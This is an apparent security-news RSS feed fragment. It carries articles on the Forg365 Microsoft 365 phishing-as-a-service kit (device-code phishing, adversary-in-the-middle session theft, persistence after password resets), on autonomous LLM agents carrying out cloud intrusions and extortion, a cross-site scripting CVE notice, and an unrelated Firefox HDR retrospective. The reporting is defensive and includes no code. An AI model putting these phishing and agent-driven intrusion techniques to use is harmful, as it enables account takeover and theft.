<p class="wp-block-paragraph">Forg365’s significance lies in the industrialization and productization of the operator workflow, according to <a href="https://www.linkedin.com/in/devashri-datta-522b364b/" target="_blank" rel="noreferrer noopener">Devashri Datta</a>, a cybersecurity researcher. “It integrates AI-assisted lure creation, evasion, and post-compromise mailbox operations into a subscription service distributed through Telegram,” Datta said.</p>



<h2 class="wp-block-heading">How Forg365 works</h2>



<p class="wp-block-paragraph">ZeroBEC said the campaign it investigated began with an email built around a business-document and remittance-approval pretext. The message relied on legitimate cloud and email services before sending the recipient through several redirects.</p>



<p class="wp-block-paragraph">Forg365 classified visitors before deciding whether to display a device-code phishing page, an adversary-in-the-middle flow, or a harmless decoy.</p>



<p class="wp-block-paragraph">In the device-code attack, the victim is directed to a legitimate Microsoft authentication process and persuaded to enter a code that authorizes a session controlled by the attacker. The involvement of genuine Microsoft infrastructure can make the request appear credible.</p>



<p class="wp-block-paragraph">The platform can also relay authentication through an adversary-in-the-middle attack and capture session information. ZeroBEC said suspicious visitors were diverted to a benign page, helping the operators conceal the phishing flow from researchers and automated security tools.</p>



<h2 class="wp-block-heading">Complicating incident response</h2>



<p class="wp-block-paragraph">A browser extension called ForgCookie allows attackers to generate and refresh Microsoft single sign-on cookies from their own browsers, ZeroBEC said.</p>



<p class="wp-block-paragraph">Forg365 also advertises tools for keeping sessions active and monitoring a compromised inbox. Read-only access to the mailbox can then be shared through a password-protected link.</p>



<p class="wp-block-paragraph">As a result, resetting a password may not remove the attacker. Stolen refresh-token material or an attacker-controlled session could remain usable after the password is changed. Any devices registered during the compromise must also be investigated.</p>



<p class="wp-block-paragraph">“CISOs should treat two controls as co-equal priorities rather than sequential ones,” Datta said, referring to tightly restricting device-code authentication and deploying <a href="https://www.csoonline.com/article/574265/why-it-might-be-time-to-consider-using-fido-based-authentication-devices.html">phishing-resistant MFA</a> such as FIDO2 or WebAuthn passkeys.</p>



<p class="wp-block-paragraph">Organizations that do not require device-code authentication should consider <a href="https://www.csoonline.com/article/4134874/new-phishing-campaign-tricks-employees-into-bypassing-microsoft-365-mfa.html">blocking it in Microsoft Entra ID</a>, said <a href="https://confidis.co/about/our-leadership-team/" target="_blank" rel="noreferrer noopener">Keith Prabhu</a>, founder and CEO of Confidis. This can disrupt the device-code component of a Forg365 campaign, although it would not stop attacks that rely on adversary-in-the-middle techniques or stolen session cookies.</p>



<p class="wp-block-paragraph">Companies that still depend on device-code authentication should identify legitimate uses before imposing a broader restriction. Exceptions may be needed for some command-line tools, conference-room systems or other devices with limited input capabilities.</p>



<p class="wp-block-paragraph">Deploying phishing-resistant authentication may also require hardware security keys or managed smartphones and could increase support requests during the transition, Datta said.</p>



<p class="wp-block-paragraph">After detecting a compromise, response teams should revoke active refresh tokens and terminate existing sessions. Prabhu also recommended reviewing and revoking unauthorized OAuth permissions. Because ForgCookie runs in the attacker’s browser, defenders should look for repeated silent sign-ins and non-interactive Microsoft Graph activity from unfamiliar addresses, according to ZeroBEC.</p>



<p class="wp-block-paragraph">Mailbox forwarding rules and delegated access should be reviewed for unauthorized changes, Prabhu said. Such changes could allow attackers to monitor communications or retain access after a password reset.</p>



<p class="wp-block-paragraph">“IR teams should audit newly registered devices and remove any that cannot be attributed to the user,” Datta said. Teams should also check whether an attacker enrolled an unauthorized authenticator application or passkey during the compromise, she added.</p>



<p class="wp-block-paragraph">ZeroBEC found that some devices registered during its investigation had names beginning with “Forg365,” giving defenders a possible indicator of compromise.</p>



<p class="wp-block-paragraph"><em>The article originally appeared on <a href="https://www.csoonline.com/article/4196646/phishing-for-dummies-forg365-lowers-barrier-to-m365-account-takeovers.html">CSO</a>.</em></p>
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<title><![CDATA[Phishing for dummies: Forg365 lowers barrier to M365 account takeovers]]></title>
<description><![CDATA[A newly documented phishing-as-a-service platform distributed through Telegram is lowering the technical barrier to Microsoft 365 account takeovers by giving less-skilled attackers automated tools to evade some authentication controls and retain access after compromise.



The platform, called Fo...]]></description>
<link>https://tsecurity.de/de/3667490/it-security-nachrichten/phishing-for-dummies-forg365-lowers-barrier-to-m365-account-takeovers/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667490/it-security-nachrichten/phishing-for-dummies-forg365-lowers-barrier-to-m365-account-takeovers/</guid>
<pubDate>Tue, 14 Jul 2026 11:54:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">A newly documented <a href="https://www.csoonline.com/article/4176814/security-experts-caution-mfa-alone-can-no-longer-stop-threat-actors.html" target="_blank">phishing-as-a-service</a> platform distributed through Telegram is lowering the technical barrier to Microsoft 365 account takeovers by giving less-skilled attackers automated tools to evade some authentication controls and retain access after compromise.</p>



<p class="wp-block-paragraph">The platform, called Forg365, uses AI-assisted lure creation alongside device-code abuse and adversary-in-the-middle techniques, according to research published by security company <a href="https://zerobec.com/blog/inside-forg365-telegram-distributed-sneaky2fa-style-phaas" target="_blank" rel="noreferrer noopener">ZeroBEC</a>.</p>



<p class="wp-block-paragraph">Forg365 was offered with a five-day free trial, followed by subscriptions priced at $400 per month or $3,800 per year, the researchers said.</p>



<p class="wp-block-paragraph">Customers can build phishing lures and control email delivery through a single operator panel. They can also manage captured account data and monitor compromised Microsoft 365 mailboxes. The service includes templates that impersonate widely used business platforms such as DocuSign, Adobe Acrobat Sign, SharePoint, and OneDrive.</p>



<p class="wp-block-paragraph">“Phishing-as-a-service has been around for quite a few years,” said <a href="https://omdia.tech.informa.com/authors/jonathan-ong" target="_blank" rel="noreferrer noopener">Jonathan Ong</a>, senior analyst for managed security services at Omdia. “But the degree to which AI is integrated into Forg365 and enables users is what makes it concerning.”</p>



<p class="wp-block-paragraph">Forg365’s significance lies in the industrialization and productization of the operator workflow, according to <a href="https://www.linkedin.com/in/devashri-datta-522b364b/" target="_blank" rel="noreferrer noopener">Devashri Datta</a>, a cybersecurity researcher. “It integrates AI-assisted lure creation, evasion, and post-compromise mailbox operations into a subscription service distributed through Telegram,” Datta said.</p>



<h2 class="wp-block-heading">How Forg365 works</h2>



<p class="wp-block-paragraph">ZeroBEC said the campaign it investigated began with an email built around a business-document and remittance-approval pretext. The message relied on legitimate cloud and email services before sending the recipient through several redirects.</p>



<p class="wp-block-paragraph">Forg365 classified visitors before deciding whether to display a device-code phishing page, an adversary-in-the-middle flow, or a harmless decoy.</p>



<p class="wp-block-paragraph">In the device-code attack, the victim is directed to a legitimate Microsoft authentication process and persuaded to enter a code that authorizes a session controlled by the attacker. The involvement of genuine Microsoft infrastructure can make the request appear credible.</p>



<p class="wp-block-paragraph">The platform can also relay authentication through an adversary-in-the-middle attack and capture session information. ZeroBEC said suspicious visitors were diverted to a benign page, helping the operators conceal the phishing flow from researchers and automated security tools.</p>



<h2 class="wp-block-heading">Complicating incident response</h2>



<p class="wp-block-paragraph">A browser extension called ForgCookie allows attackers to generate and refresh Microsoft single sign-on cookies from their own browsers, ZeroBEC said.</p>



<p class="wp-block-paragraph">Forg365 also advertises tools for keeping sessions active and monitoring a compromised inbox. Read-only access to the mailbox can then be shared through a password-protected link.</p>



<p class="wp-block-paragraph">As a result, resetting a password may not remove the attacker. Stolen refresh-token material or an attacker-controlled session could remain usable after the password is changed. Any devices registered during the compromise must also be investigated.</p>



<p class="wp-block-paragraph">“CISOs should treat two controls as co-equal priorities rather than sequential ones,” Datta said, referring to tightly restricting device-code authentication and deploying <a href="https://www.csoonline.com/article/574265/why-it-might-be-time-to-consider-using-fido-based-authentication-devices.html">phishing-resistant MFA</a> such as FIDO2 or WebAuthn passkeys.</p>



<p class="wp-block-paragraph">Organizations that do not require device-code authentication should consider <a href="https://www.csoonline.com/article/4134874/new-phishing-campaign-tricks-employees-into-bypassing-microsoft-365-mfa.html">blocking it in Microsoft Entra ID</a>, said <a href="https://confidis.co/about/our-leadership-team/" target="_blank" rel="noreferrer noopener">Keith Prabhu</a>, founder and CEO of Confidis. This can disrupt the device-code component of a Forg365 campaign, although it would not stop attacks that rely on adversary-in-the-middle techniques or stolen session cookies.</p>



<p class="wp-block-paragraph">Companies that still depend on device-code authentication should identify legitimate uses before imposing a broader restriction. Exceptions may be needed for some command-line tools, conference-room systems or other devices with limited input capabilities.</p>



<p class="wp-block-paragraph">Deploying phishing-resistant authentication may also require hardware security keys or managed smartphones and could increase support requests during the transition, Datta said.</p>



<p class="wp-block-paragraph">After detecting a compromise, response teams should revoke active refresh tokens and terminate existing sessions. Prabhu also recommended reviewing and revoking unauthorized OAuth permissions. Because ForgCookie runs in the attacker’s browser, defenders should look for repeated silent sign-ins and non-interactive Microsoft Graph activity from unfamiliar addresses, according to ZeroBEC.</p>



<p class="wp-block-paragraph">Mailbox forwarding rules and delegated access should be reviewed for unauthorized changes, Prabhu said. Such changes could allow attackers to monitor communications or retain access after a password reset.</p>



<p class="wp-block-paragraph">“IR teams should audit newly registered devices and remove any that cannot be attributed to the user,” Datta said. Teams should also check whether an attacker enrolled an unauthorized authenticator application or passkey during the compromise, she added.</p>



<p class="wp-block-paragraph">ZeroBEC found that some devices registered during its investigation had names beginning with “Forg365,” giving defenders a possible indicator of compromise.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[CVE-2026-31981 | Nozomi Guardian/CMC up to 26.1.x Diagram tab/Graph view cross site scripting]]></title>
<description><![CDATA[A vulnerability labeled as problematic has been found in Nozomi Guardian and CMC up to 26.1.x. Affected is an unknown function of the component Diagram tab/Graph view. Such manipulation leads to cross site scripting.

This vulnerability is documented as CVE-2026-31981. The attack can be executed ...]]></description>
<link>https://tsecurity.de/de/3667152/sicherheitsluecken/cve-2026-31981-nozomi-guardiancmc-up-to-261x-diagram-tabgraph-view-cross-site-scripting/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667152/sicherheitsluecken/cve-2026-31981-nozomi-guardiancmc-up-to-261x-diagram-tabgraph-view-cross-site-scripting/</guid>
<pubDate>Tue, 14 Jul 2026 09:23:26 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability labeled as <a href="https://vuldb.com/kb/risk">problematic</a> has been found in <a href="https://vuldb.com/product/nozomi:guardian">Nozomi Guardian and CMC up to 26.1.x</a>. Affected is an unknown function of the component <em>Diagram tab/Graph view</em>. Such manipulation leads to cross site scripting.

This vulnerability is documented as <a href="https://vuldb.com/cve/CVE-2026-31981">CVE-2026-31981</a>. The attack can be executed remotely. There is not any exploit available.]]></content:encoded>
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<title><![CDATA[AI-powered breaches provide wake-up call for incident response]]></title>
<description><![CDATA[Enterprises have worked for years to improve detection and response times in the face of increasingly sophisticated attacks that relied on manual hacking and living-of-the-land techniques. AI is now threatening to undo those efforts.



An increasing number of threat actors are automating all pha...]]></description>
<link>https://tsecurity.de/de/3667106/it-security-nachrichten/ai-powered-breaches-provide-wake-up-call-for-incident-response/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3667106/it-security-nachrichten/ai-powered-breaches-provide-wake-up-call-for-incident-response/</guid>
<pubDate>Tue, 14 Jul 2026 09:08:49 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Enterprises have worked for years to improve detection and response times in the face of increasingly sophisticated attacks that relied on manual hacking and living-of-the-land techniques. AI is now threatening to undo those efforts.</p>



<p class="wp-block-paragraph">An increasing number of threat actors are automating all phases of attacks, including lateral movement by using LLM-powered agents, severely reducing the time from initial access to deep environment compromises.</p>



<p class="wp-block-paragraph">“The real shift is speed, scale, and orchestration: familiar cloud attack techniques were executed faster and across more surfaces than defenders could comfortably contain,” wrote researchers from security firm Sygnia last week in <a href="https://www.sygnia.co/blog/inside-an-ai-assisted-cloud-attack/">a report about an AI-assisted cloud environment compromise</a> they investigated.</p>



<p class="wp-block-paragraph">Sygnia’s report came on the heels of research from Sysdig about <a href="https://www.csoonline.com/article/4193195/this-ai-agent-autonomously-hacked-a-network-adapted-on-the-fly-and-demanded-a-ransom.html">a cyber intrusion and extortion campaign conducted end to end by an autonomous AI agent</a>. Actions undertaken by the agent included harvesting credentials, mapping internal services, and establishing persistence.</p>



<p class="wp-block-paragraph">What both incidents show is that AI attacks have graduated beyond LLM-written malware scripts and phishing lures to handling all stages of attack chains, including parts that previously required human reasoning and hands-on command execution adapted to the environment.</p>



<p class="wp-block-paragraph">Last month researchers from the University of Toronto revealed that they <a href="https://www.csoonline.com/article/4181924/ai-worm-prototype-shows-attackers-dont-need-mythos-to-take-over-your-network.html">managed to create an AI-powered self-replicating worm</a> capable of autonomously finding and exploiting weaknesses in dozens of simulated systems. The researchers achieved this by leveraging an open-weight AI model and building an attack harness to keep it on track.</p>



<p class="wp-block-paragraph">While it may not be surprising to security experts that this level of AI-assisted attack automation is already happening in the wild, it’s very unlikely that many companies have had time to adapt their defenses.</p>



<p class="wp-block-paragraph">“What this exposes is a truth that all security personnel must come to terms with: Most breaches won’t hinge on advanced AI, but on unpatched systems, exposed services, and weak identity controls,” Gidi Cohen, CEO and co-founder of AI security startup Bonfy.ai, tells CSO. “AI just makes those gaps impossible to ignore. The organizations that will struggle aren’t the ones lacking AI defenses; they’re the ones still relying on human-speed security in a machine-speed threat environment.”</p>



<h2 class="wp-block-heading">No need for zero-days</h2>



<p class="wp-block-paragraph">As aptly demonstrated by the U of Toronto study, AI agents don’t need sophisticated zero-day vulnerabilities to break into environments, because many environments have systems and applications with known flaws and generic weaknesses.</p>



<p class="wp-block-paragraph">The attack documented by Sysdig, which its researchers dubbed JadePuffer, exploited a year-old vulnerability (<a href="https://nvd.nist.gov/vuln/detail/CVE-2025-3248">CVE-2025-3248</a>) in Langflow, ironically a tool for building AI agents. In the new attack documented by Sygnia, attackers exploited a weakness in a web application that enabled them to find a stored AWS key. From there they quickly made their way through the victim’s cloud environment with the help of AI automation.</p>



<p class="wp-block-paragraph">“The threat actor was not exploiting a single misconfiguration; they were chaining weaknesses across application services, AWS resources, source-control repositories, CI/CD workflows, runtime components, and data stores, while rapidly executing credential discovery, secrets harvesting, cloud enumeration, deployment-pipeline abuse, runtime modification, database access, and operational disruption,” the researchers said.</p>



<p class="wp-block-paragraph">As with the JadePuffer case, the attackers documented by Sygnia were focused on extorting money from the victim. To achieve this, they compromised as many AWS instances as possible, exfiltrated data but also set up multiple persistence points in the AWS environment. The goal was to put pressure on the victim by demonstrating that despite recovery efforts they still had access to the environment.</p>



<h2 class="wp-block-heading">Speed is the new game</h2>



<p class="wp-block-paragraph">Once sophisticated attackers break into an environment they often spend weeks or even months slowly moving to other systems. This is in part because it takes time for a human team to gain a thorough understanding of the environment and to find where the most valuable systems are.</p>



<p class="wp-block-paragraph">This activity is also often trial-and-error: The attackers perform reconnaissance to discover the network’s topology, find exploitable weaknesses in additional systems, and search them for stored credentials that could provide access to more targets, all while using existing OS tools or common system administration techniques that won’t trip malware and intrusion detection systems.</p>



<p class="wp-block-paragraph"><a href="https://www.csoonline.com/article/569703/threat-hunting-explained-taking-an-active-approach-to-defense.html">Active threat hunting</a> is one way to counter such techniques that are designed to evade automated detection. When threat hunting, human analysts inspect the organization’s network and systems manually for signs of compromises that might have been missed by tools. This is a slow but effective defensive technique — but only if attackers operate with the same time constraints.</p>



<p class="wp-block-paragraph">“Traditional incident response often relies on the assumption that attacker progression will generate enough observable signals for defenders to investigate and contain activity before access materially expands across the environment,” Sygnia’s researchers wrote in their report. “The observed attack pattern challenged this assumption. Forensic traces showed rapid, repeated activity consistent with automated or AI-assisted workflows for credential harvesting, permission analysis, vulnerability discovery, and attack-path mapping, allowing the intrusion to progress across multiple stages in a compressed time frame.”</p>



<p class="wp-block-paragraph">And it wasn’t a case of simple automated scripts going through an attack playbook either, but workstreams that showed clear signs of environment adaptation. Every new access was rapidly assessed and resulted in actions tailored for that specific system, whether an EC2 instance, S3 bucket, SQL database, or a CI/CD runner on GitHub.</p>



<h2 class="wp-block-heading">Prevention is back in the spotlight</h2>



<p class="wp-block-paragraph">The obvious answer to AI-assisted attacks is AI-assisted defense. But simply the presence of AI-powered features in detection and response products is not a guarantee for thwarting such fast and adaptive attacks. Organizations must ensure all these tools and workflows are well integrated into a coordinated process across their different teams.</p>



<p class="wp-block-paragraph">Moreover, these attacks show the value of defense-in-depth actions such as continuous validation of configurations, fast patch deployment, frequent secrets rotation, network segmentation, IP-based access control rules, implementing the principle of least privilege for credentials, restricting administrative privileges, enabling multi-factor authentication, and isolating cloud workloads.</p>



<p class="wp-block-paragraph">Sygnia also recommends building automated response playbooks that can be quickly adjusted and deployed when potential signs of compromise are detected.</p>



<p class="wp-block-paragraph">“The skill floor for running a ransomware operation dropped to the cost of running an agent,” Dray Agha, senior manager of tactical response at security firm Huntress, tells CSO. “Very mediocre cyber criminals can now ‘level up’ their impact from AI. That should worry defenders more than any single new technique, as it means more attackers, more often, against more of the long tail of unpatched, exposed infrastructure.”</p>
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<title><![CDATA[Mozilla GFX: HDR video in Firefox for Windows tech retrospective]]></title>
<description><![CDATA[HDR video is coming to Firefox for Windows users (and has been available for some time on macOS).  This blog post explains how we developed the feature and gives a retrospective on the technical choices we made.



A primer on video playback for the web:




Video file demux and decode: A video s...]]></description>
<link>https://tsecurity.de/de/3666879/tools/mozilla-gfx-hdr-video-in-firefox-for-windows-tech-retrospective/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666879/tools/mozilla-gfx-hdr-video-in-firefox-for-windows-tech-retrospective/</guid>
<pubDate>Tue, 14 Jul 2026 07:08:30 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="wp-block-paragraph">HDR video is coming to Firefox for Windows users (and has been available for some time on macOS).  This blog post explains how we developed the feature and gives a retrospective on the technical choices we made.</p>



<p class="wp-block-paragraph">A primer on video playback for the web:</p>



<ul class="wp-block-list">
<li><strong>Video file demux and decode</strong>: A video stream generally consists of parallel image and audio streams, along with captions, HDR scene metadata, and the like. “Container” formats like MP4 or MKV specify how these streams are combined, or multiplexed, into a single byte stream for transmission. On receipt, Firefox needs to divide that byte stream back into the individual media streams; this is de-multiplexing or “demuxing”. Then Firefox must uncompress the data to get images, audio samples, and so on. Firefox’s media team provides the demuxers, and pulls in appropriate codecs to decode them. We prefer using hardware video decoders if they work reasonably well. Video decompression usually produces roughly a YUV 4:2:0 image in <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/recommended-8-bit-yuv-formats-for-video-rendering">NV12 for SDR</a> or <a href="https://learn.microsoft.com/en-us/windows/win32/medfound/10-bit-and-16-bit-yuv-video-formats">P010 for HDR</a>. (If you visit <strong>about:support</strong> in Firefox, and search for <strong>Codec Support Information</strong> (or one of the codec names like <strong>AV1</strong>), you can see a whole feature matrix of support details for which codecs are hardware and software on your system.)</li>



<li><strong>Gecko displaylist building</strong>: Given a demultiplexed, uncompressed frame of video, Gecko displaylist building incorporates it into a video element in the displaylist being sent to WebRender. If the frame was decoded in hardware, it is generally represented by a texture in GPU memory. Or, if it was decoded in software, then it is represented by a memory mapping holding some raw pixel data in system memory shared with Firefox’s media decoder process.</li>



<li><strong>WebRender</strong>: Given the video element in the displaylist, WebRender decides whether to promote it to a desktop compositor overlay, or whether it must instead be rendered using a pathway more like an ordinary HTML element. A compositor overlay is faster and uses less power; on Windows this uses DWM with the <a href="https://learn.microsoft.com/en-us/windows/win32/api/_directcomp/">DirectComposition API</a>, which manages a graph of <a href="https://learn.microsoft.com/en-us/windows/win32/api/dcomp/nn-dcomp-idcompositionvisual">visuals</a>. But if complex CSS is involved (rounded corners, blur filters, or similar features), Firefox must use WebRender’s ordinary rendering pathway. Currently the latter is not HDR capable, so Firefox favors the desktop compositor overlay for animated elements such as video and canvas.</li>
</ul>



<p class="wp-block-paragraph">As we began designing Firefox’s HDR support, we had to lay out some assumptions and found many complications:</p>



<ul class="wp-block-list">
<li>Initially, we had hoped that on a modern system, <a href="https://en.wikipedia.org/wiki/Rec._2100">BT2100</a> HDR videos could be displayed on Windows by simply sending them to DirectComposition.
<ul class="wp-block-list">
<li>In theory, the Desktop Window Manager (DWM) honors the <a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgi1_4/nn-dxgi1_4-idxgiswapchain3">DXGISwapChain3</a>::<a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgi1_4/nf-dxgi1_4-idxgiswapchain3-setcolorspace1">SetColorSpace1</a> method which should let us request either <a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgicommon/ne-dxgicommon-dxgi_color_space_type">DXGI_COLOR_SPACE_YCBCR_STUDIO_G2084_LEFT_P2020</a> or <a href="https://learn.microsoft.com/en-us/windows/win32/api/dxgicommon/ne-dxgicommon-dxgi_color_space_type">DXGI_COLOR_SPACE_YCBCR_STUDIO_GHLG_LEFT_P2020</a>. The former refers to SMPTE 2084, more commonly called PQ, the <a href="https://en.wikipedia.org/wiki/Perceptual_quantizer">Perceptual Quantizer</a> function and the latter is ARIB-STD-B67  also known as HLG, the <a href="https://en.wikipedia.org/wiki/Hybrid_log%E2%80%93gamma">Hybrid Log Gamma</a> function, most commonly used on HDR TV broadcasts.</li>



<li>Unfortunately, this was a dead end. In testing with a mocked up <a href="https://github.com/FirefoxGraphics/compositor_colortest/tree/main">compositor test app</a>, calling SetColorSpace1 with this value seems to be ignored on P010 (at least in testing on AMD), so it incorrectly displays BT2100 PQ video as if it were BT709, which makes the video dull and muddy, since BT709 is a narrower gamut than BT2020, and the BT1886 transfer function used by BT709 is very different from PQ defined by BT2100. SetColorSpace1 may work on other vendors with P010, so it may be a valid optimization, but we were looking for a universal solution.</li>



<li>For the future, Windows 11 23H2 has added a new interface called IDCompositionTexture which may serve our purposes better; from what we have been told, it is universally supported for all formats and color spaces. We haven’t used it for video so far, but it’s an interesting future direction.</li>
</ul>
</li>



<li>As noted above, HDR videos must use a desktop compositor overlay. HDR video uses the BT2100 PQ colorspace with an RGB10A2 format, while WebRender can only work with images in the sRGB colorspace (appropriate for standard-dynamic-range BT709 video).
<ul class="wp-block-list">
<li>Until HDR came along, Gecko and WebRender only used desktop compositor overlays as a power/performance optimization. With HDR, overlays become a necessity as the pixel format and color space differ from classic sRGB.</li>



<li>Fortunately, HDR videos tend to be shown without particularly fancy CSS rendering such as clip masks and rounded corners, which would require WebRender to perform further copies. Technically, DirectComposition does support all of those features, but Firefox doesn’t use that functionality much.</li>



<li>In the future, we expect to upgrade WebRender for HDR rendering, allowing us to deal with complex cases like clip masks or blur filters on video elements.</li>
</ul>
</li>



<li>We considered whether we could use VideoProcessorBlt, or whether we should write our own shader instead.
<ul class="wp-block-list">
<li>In favor of VideoProcessorBlt:
<ul class="wp-block-list">
<li>It uses less power on GPUs that have a video processor unit.</li>



<li>We discovered in testing (using <a href="https://learn.microsoft.com/en-us/windows/win32/api/d3d11_1/nf-d3d11_1-id3d11videoprocessorenumerator1-checkvideoprocessorformatconversion">CheckVideoProcessorFormatConversion</a>) that while many modern GPUs support one of the needed conversions (P010 PQ -&gt; RGB10 PQ), few support the ones we need for HLG videos (P010 HLG -&gt; RGB10 PQ).</li>



<li>The ‘video-dynamic-range’ query used on the web is not fine-grained enough to be able to say “the web browser can display PQ video but not HLG video”, so if we went with VideoProcessorBlt as a required feature, only about 20% of HDR desktop users would be able to use the feature.</li>



<li>In the future, we could explore using VideoProcessorBlit to save power on hardware that supports the conversions we need. But other web browsers are not using this functionality, so there may be more issues we haven’t found yet.</li>
</ul>
</li>



<li>In favor of writing our own shader with all of the features:
<ul class="wp-block-list">
<li>This would work consistently on all vendors – nothing special here.</li>



<li>This would look the same on all vendors, regardless of hardware capabilities. This is generally the aim of web standards.</li>



<li>This would support anything we want it to. HDR tonemapping can be implemented. Video orientation can be implemented (for videos recorded on phones which may be rotated 90, 180 or 270 degrees). We can support any kind of YUV-&gt;RGB conversion with a color matrix (even weird legacy formats like GBR 4:2:0).  We can support conversion between color primaries (e.g. BT2020-&gt;BT709).  We can convert to linear color (for scRGB using RGBA16F) or any EOTF we want (notably BT2100 PQ with RGB10A2, for our use-case).</li>
</ul>
</li>



<li>In the end we went with the shader after a significant period of time experimenting with VideoProcessorBlt in our Nightly releases.</li>
</ul>
</li>



<li>There is a very large amount of graphics code in Gecko and WebRender that needs to be upgraded for HDR.
<ul class="wp-block-list">
<li>We decided that the most important code paths to upgrade first are the ones for regular video playback and DRM-protected video playback, and later canvas video import (Canvas2D, WebGL, WebGPU) which will require upgrading canvas for HDR first – another big project.</li>



<li>We had to upgrade several dozen structs to carry the transfer function for video data, as previously all code assumed video used BT1886 EOTF.</li>
</ul>
</li>



<li>We hope we can avoid tone mapping HDR content when viewed on HDR displays.
<ul class="wp-block-list">
<li>It’s reasonable to expect that most displays going forward will be HDR displays (partly because of marketing momentum, partly because displays are made by a very finite set of manufacturers who are all making HDR display panels), and eventually tone mapping may become unnecessary on the web.</li>



<li>For the short-term we will have to apply a tone mapping effect when HDR content is viewed on SDR displays, likely using  ‘Reinhard tonemapping’ which refers to the widely available paper <a href="https://doi.org/10.1145/566654.566575">Photographic Tone Reproduction for Digital Images</a> by Erik Reinhard et al, and configuring it for a fixed brightness ratio of 400 cd/m^2 -&gt; 100 cd/m^2 when used on SDR displays, and see if that fits all HDR content on the web well enough for a good user experience – and if it does not, we will iterate based on feedback from users on Firefox Nightly.</li>



<li>We are hoping that we will never have to apply tonemapping for HDR content on HDR displays, there are multiple factors in this decision:
<ul class="wp-block-list">
<li>Varying the brightness limit would make it a significant fingerprinting vector if not handled very carefully if the script can inspect pixels or parameters related to that.  There are ways to mitigate this but they are all awkward restrictions to impose, and queries would have to get a different answer than what the rendering is using.</li>



<li>Phones and laptops with light sensors may vary the reference brightness in real time, and this changes the maximum displayable ratio (aka HDR headroom) every refresh, which is also a major battery drain if we keep redrawing all of the time.</li>



<li>Documents composed of multiple images (a gallery or some form of art composition) would apply different tonemapping to each image if the brightest pixel in each image is different brightness).  We’d have to do something about that to make it controllable via CSS.</li>



<li>In general the detailed parts of an image are within a certain brightness band – see <a href="https://www.yedlin.net/DebunkingHDR/">Debunking HDR</a> for a detailed lecture on film grading and why you would not have significant difference in brightness between scene elements.</li>



<li>User feedback so far has indicated that not applying tonemapping has given them a better viewing experience on some videos.</li>
</ul>
</li>
</ul>
</li>



<li>WebRTC is implemented using a library, common to all web browsers, which has limited support for HDR.
<ul class="wp-block-list">
<li>While we didn’t prioritize this for an initial feature launch, we are looking at how to implement HDR support properly in libwebrtc. This is in the early assessment phase but we know this is wanted for a couple of use-cases, like video calls for meetings, or game streaming with friends watching.</li>
</ul>
</li>
</ul>



<p class="wp-block-paragraph">In general, one of the biggest challenges in working on graphics code in a web browser is a lack of documentation for how to best use features like video playback and desktop compositing in the context of a web browser (e.g. multiple processes, sandboxing, shared memory, sharing external textures, etc). This parallels the rarity of graphics engineers with such experience. Building new features in this space requires a lot of research (and a lot of trial and error). The solution you end up with may not look at all like the one you initially imagined.</p>



<p class="wp-block-paragraph">On behalf of the graphics team at Mozilla, I want to thank the people who use Firefox Nightly regularly and file bug reports when things aren’t working the way they want. Comments on <a href="https://mozillagfx.wordpress.com/2026/01/16/experimental-high-dynamic-range-video-playback-on-windows-in-firefox-nightly-148/">Experimental High Dynamic Range video playback on Windows in Firefox Nightly 148</a>, <a href="https://connect.mozilla.org/">Mozilla Connect</a>, and <a href="https://bugzilla.mozilla.org/">Bugzilla</a> bug reports have guided us to focus on the use-cases that matter to people using Firefox. When we succeed, it’s a great feeling.</p>



<p class="wp-block-paragraph">We’re working on extending HDR support to photos, apps/games and general web content.</p>]]></content:encoded>
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<title><![CDATA[5 Wege zu mehr KI-Accountability]]></title>
<description><![CDATA[Wenn mit KI etwas schiefläuft, ist oft der schuld, der am nächsten dran war.TetianaKtv | shutterstock.com



Intelligente Systeme werden zunehmend produktiv eingesetzt. Ist das der Fall, müssen viele Unternehmen schnell feststellen, dass das im Hinblick auf die Accountability Probleme aufwirft. S...]]></description>
<link>https://tsecurity.de/de/3666825/it-security-nachrichten/5-wege-zu-mehr-ki-accountability/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3666825/it-security-nachrichten/5-wege-zu-mehr-ki-accountability/</guid>
<pubDate>Tue, 14 Jul 2026 06:05:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
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<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/TetianaKtv_shutterstock_2695622259_16z9ed.jpg?quality=50&amp;strip=all&amp;w=1024" alt="Accountability Surprise 16z9" class="wp-image-4194454" width="1024" height="576" sizes="(max-width: 1024px) 100vw, 1024px"><figcaption class="wp-element-caption">Wenn mit KI etwas schiefläuft, ist oft der schuld, der am nächsten dran war.</figcaption></figure><p class="imageCredit">TetianaKtv | shutterstock.com</p></div>



